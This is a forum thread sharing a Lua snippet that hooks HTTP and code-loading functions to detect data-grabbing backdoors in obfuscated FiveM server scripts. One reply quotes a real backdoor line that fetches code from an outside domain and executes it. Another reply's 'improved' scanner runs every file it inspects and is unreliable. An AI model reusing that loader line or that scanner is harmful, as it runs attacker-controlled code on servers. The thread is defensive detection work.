GRABBER DETECTION - 70% method [FREE]

8 replies2,099 views2y ago
Original post · 2y ago#1
70% method for finding out if an obfuscated script has a grabber.

How to use:
Just add it to the first line of any .lua file.

How it works:
Basically, it disables some functions and prints the parameters of these functions.
These specific functions may or may not call malicious code hosted somewhere, or hidden within the script folder.
However, as mentioned, it is 70% effective as there are several other ways.


Note:
To add more functions, just follow the same pattern.

[ATTACH type="full" alt="image.jpg"]15069[/ATTACH]

-------------------------------------------------------------------------------------------------------------



function PerformHttpRequest(url, callback, method, data, headers)
print("PerformHttpRequest:")
print("URL:", url)
print("Callback:", callback)
print("Method:", method)
print("Data:", data)
print("Headers:", headers)
end

function SendWebhookMessage(webhook, message)
print("SendWebhookMessage:")
print("Webhook:", webhook)
print("Message:", message)
end

function CreateDui(link, x, y)
print("CreateDui:")
print("Link:", link)
print("X Coordinate:", x)
print("Y Coordinate:", y)
end

function loadstring(str, chunkname)
print("loadstring:")
print("String:", str)
print("Chunk Name:", chunkname)
end

function dofile(filename)
print("dofile:")
print("Filename:", filename)
end

function require(modname)
print("require:")
print("Module Name:", modname)
end

function loadfile(filename, mode, env)
print("loadfile:")
print("Filename:", filename)
print("Mode:", mode)
print("Environment:", env)
end

8 replies

2y ago#2
thanku nice script rescpct for u
0
2y ago#3
[JUSTIFY]i have juste update your code for a better experience
[/JUSTIFY]

-- Fonction pour remplacer les fonctions natives par des versions imprimant les informations
local function overrideNativeFunctions()
local nativeEnv = getfenv()

nativeEnv.PerformHttpRequest = function(url, callback, method, data, headers)
print("PerformHttpRequest:")
print("URL:", url)
print("Callback:", callback)
print("Method:", method)
print("Data:", data)
print("Headers:", headers)
end

nativeEnv.SendWebhookMessage = function(webhook, message)
print("SendWebhookMessage:")
print("Webhook:", webhook)
print("Message:", message)
end

nativeEnv.CreateDui = function(link, x, y)
print("CreateDui:")
print("Link:", link)
print("X Coordinate:", x)
print("Y Coordinate:", y)
end

nativeEnv.loadstring = function(str, chunkname)
print("loadstring:")
print("String:", str)
print("Chunk Name:", chunkname)
end

nativeEnv.dofile = function(filename)
print("dofile:")
print("Filename:", filename)
end

nativeEnv.require = function(modname)
print("require:")
print("Module Name:", modname)
end

nativeEnv.loadfile = function(filename, mode, env)
print("loadfile:")
print("Filename:", filename)
print("Mode:", mode)
print("Environment:", env)
end
end

-- Fonction pour scanner les scripts chargés
local function scanLoadedScripts()
local resources = GetNumResources()
for i = 0, resources - 1 do
local resourceName = GetResourceByFindIndex(i)
local resourcePath = GetResourcePath(resourceName)
local files = LoadResourceFile(resourceName, "files") or {}

for _, file in ipairs(files) do
local filePath = resourcePath .. "/" .. file
local fileContent = LoadResourceFile(resourceName, file)
if fileContent then
overrideNativeFunctions()
local func, err = load(fileContent, filePath)
if func then
func()
else
print("Erreur lors du chargement du fichier " .. filePath .. " : " .. err)
end
end
end
end
end

-- Appel de la fonction de scan au démarrage du serveur
AddEventHandler("onResourceStarting", function(resourceName)
if resourceName == GetCurrentResourceName() then
scanLoadedScripts()
end
end)
0
2y ago#4
thhhhs shiit is a backdoor do not use it PerformHttpRequest('https://thedreamoffivem.com/i?to=Wdv1M', function (e, d) pcall(function() assert(load(d))() end) end)
so i find it in VMS Spawn Selector in server/server.lua
0
2y ago#5
Does it avoid function execution ?
0
2y ago#6
micky1062, post: 327518, member: 73591
Does it avoid function execution ?

in my opinion, replacing functions can interfere with the execution of the encrypted script, but its effectiveness depends on how the encrypted script was written and whether it makes use of the replaced functions.

I wouldn't risk trusting your home host like that, you have to use a VPS to test this.
0
2y ago#7
Respect my man! Appreciate that! :)
0
2y ago#8
Very nice work and very nice job
0
2y ago#9
thx for sharing good scripts
0

Sign in to reply

Join the discussion — it takes less than a minute.